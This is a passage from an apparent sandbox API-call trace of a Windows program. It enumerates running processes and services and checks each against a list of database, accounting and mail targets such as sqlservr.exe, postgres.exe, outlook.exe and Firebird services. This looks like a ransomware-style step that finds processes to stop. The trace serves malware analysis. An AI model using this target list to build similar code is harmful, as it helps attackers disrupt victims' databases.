(lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0265.067] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.067] lstrlenW (lpString="csrss.exe") returned 9 [0265.067] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.067] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.067] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.067] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.068] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.068] lstrlenW (lpString="wininit.exe") returned 11 [0265.068] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0265.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0265.068] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.068] lstrlenW (lpString="csrss.exe") returned 9 [0265.069] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0265.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0265.069] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0265.069] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0265.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0265.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0265.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0265.069] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.069] lstrlenW (lpString="winlogon.exe") returned 12 [0265.069] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0265.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0265.069] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.069] lstrlenW (lpString="services.exe") returned 12 [0265.069] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0265.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0265.069] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0265.069] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0265.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0265.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0265.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0265.070] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.070] lstrlenW (lpString="lsass.exe") returned 9 [0265.070] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0265.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0265.070] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0265.070] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0265.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0265.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0265.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0265.070] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.070] lstrlenW (lpString="lsm.exe") returned 7 [0265.070] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0265.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0265.070] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0265.070] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0265.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0265.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0265.070] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0265.070] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.071] lstrlenW (lpString="svchost.exe") returned 11 [0265.071] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0265.071] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.071] lstrlenW (lpString="svchost.exe") returned 11 [0265.071] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.071] lstrlenW (lpString="svchost.exe") returned 11 [0265.071] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.071] lstrlenW (lpString="svchost.exe") returned 11 [0265.072] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.072] lstrlenW (lpString="svchost.exe") returned 11 [0265.072] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.072] lstrlenW (lpString="audiodg.exe") returned 11 [0265.072] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.072] lstrlenW (lpString="svchost.exe") returned 11 [0265.072] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.072] lstrlenW (lpString="svchost.exe") returned 11 [0265.072] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0265.073] lstrlenW (lpString="userinit.exe") returned 12 [0265.073] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.073] lstrlenW (lpString="dwm.exe") returned 7 [0265.073] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.073] lstrlenW (lpString="explorer.exe") returned 12 [0265.073] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.073] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.073] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.074] lstrlenW (lpString="taskhost.exe") returned 12 [0265.074] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.074] lstrlenW (lpString="svchost.exe") returned 11 [0265.074] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0265.074] lstrlenW (lpString="chrome64b.exe") returned 13 [0265.074] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.074] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.074] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.075] lstrlenW (lpString="dllhost.exe") returned 11 [0265.075] Process32NextW (in: hSnapshot=0x2d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0265.075] CloseHandle (hObject=0x2d8) returned 1 [0265.075] Sleep (dwMilliseconds=0x1f4) [0265.712] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45446a8 [0265.781] EnumServicesStatusExW (in: hSCManager=0x45446a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0265.782] GetLastError () returned 0xea [0265.782] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113e) returned 0x45a9150 [0265.782] EnumServicesStatusExW (in: hSCManager=0x45446a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45a9150, cbBufSize=0x113e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45a9150, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0265.782] CloseServiceHandle (hSCObject=0x45446a8) returned 1 [0265.782] lstrlenW (lpString="Appinfo") returned 7 [0265.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0265.783] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0265.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0265.783] lstrlenW (lpString="AudioSrv") returned 8 [0265.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0265.783] lstrlenW (lpString="BFE") returned 3 [0265.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0265.783] lstrlenW (lpString="CryptSvc") returned 8 [0265.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0265.783] lstrlenW (lpString="CscService") returned 10 [0265.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0265.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0265.783] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0265.783] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0265.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0265.783] lstrlenW (lpString="DcomLaunch") returned 10 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0265.784] lstrlenW (lpString="Dhcp") returned 4 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0265.784] lstrlenW (lpString="Dnscache") returned 8 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0265.784] lstrlenW (lpString="DPS") returned 3 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0265.784] lstrlenW (lpString="eventlog") returned 8 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0265.784] lstrlenW (lpString="EventSystem") returned 11 [0265.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0265.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0265.784] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0265.784] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0265.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0265.784] lstrlenW (lpString="gpsvc") returned 5 [0265.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0265.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0265.785] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0265.785] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0265.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0265.785] lstrlenW (lpString="iphlpsvc") returned 8 [0265.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0265.787] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0265.787] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0265.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0265.787] lstrlenW (lpString="LanmanServer") returned 12 [0265.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0265.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0265.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0265.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0265.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0265.787] lstrlenW (lpString="LanmanWorkstation") returned 17 [0265.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0265.787] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0265.787] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0265.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0265.787] lstrlenW (lpString="lmhosts") returned 7 [0265.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0265.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0265.787] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0265.787] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0265.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0265.787] lstrlenW (lpString="MMCSS") returned 5 [0265.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0265.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0265.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0265.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0265.788] lstrlenW (lpString="MpsSvc") returned 6 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0265.788] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0265.788] lstrlenW (lpString="Netman") returned 6 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0265.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0265.788] lstrlenW (lpString="netprofm") returned 8 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0265.788] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0265.788] lstrlenW (lpString="NlaSvc") returned 6 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0265.788] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0265.788] lstrlenW (lpString="nsi") returned 3 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0265.788] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0265.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0265.788] lstrlenW (lpString="PcaSvc") returned 6 [0265.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0265.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0265.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0265.789] lstrlenW (lpString="PlugPlay") returned 8 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0265.789] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0265.789] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0265.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0265.789] lstrlenW (lpString="Power") returned 5 [0265.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0265.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0265.789] 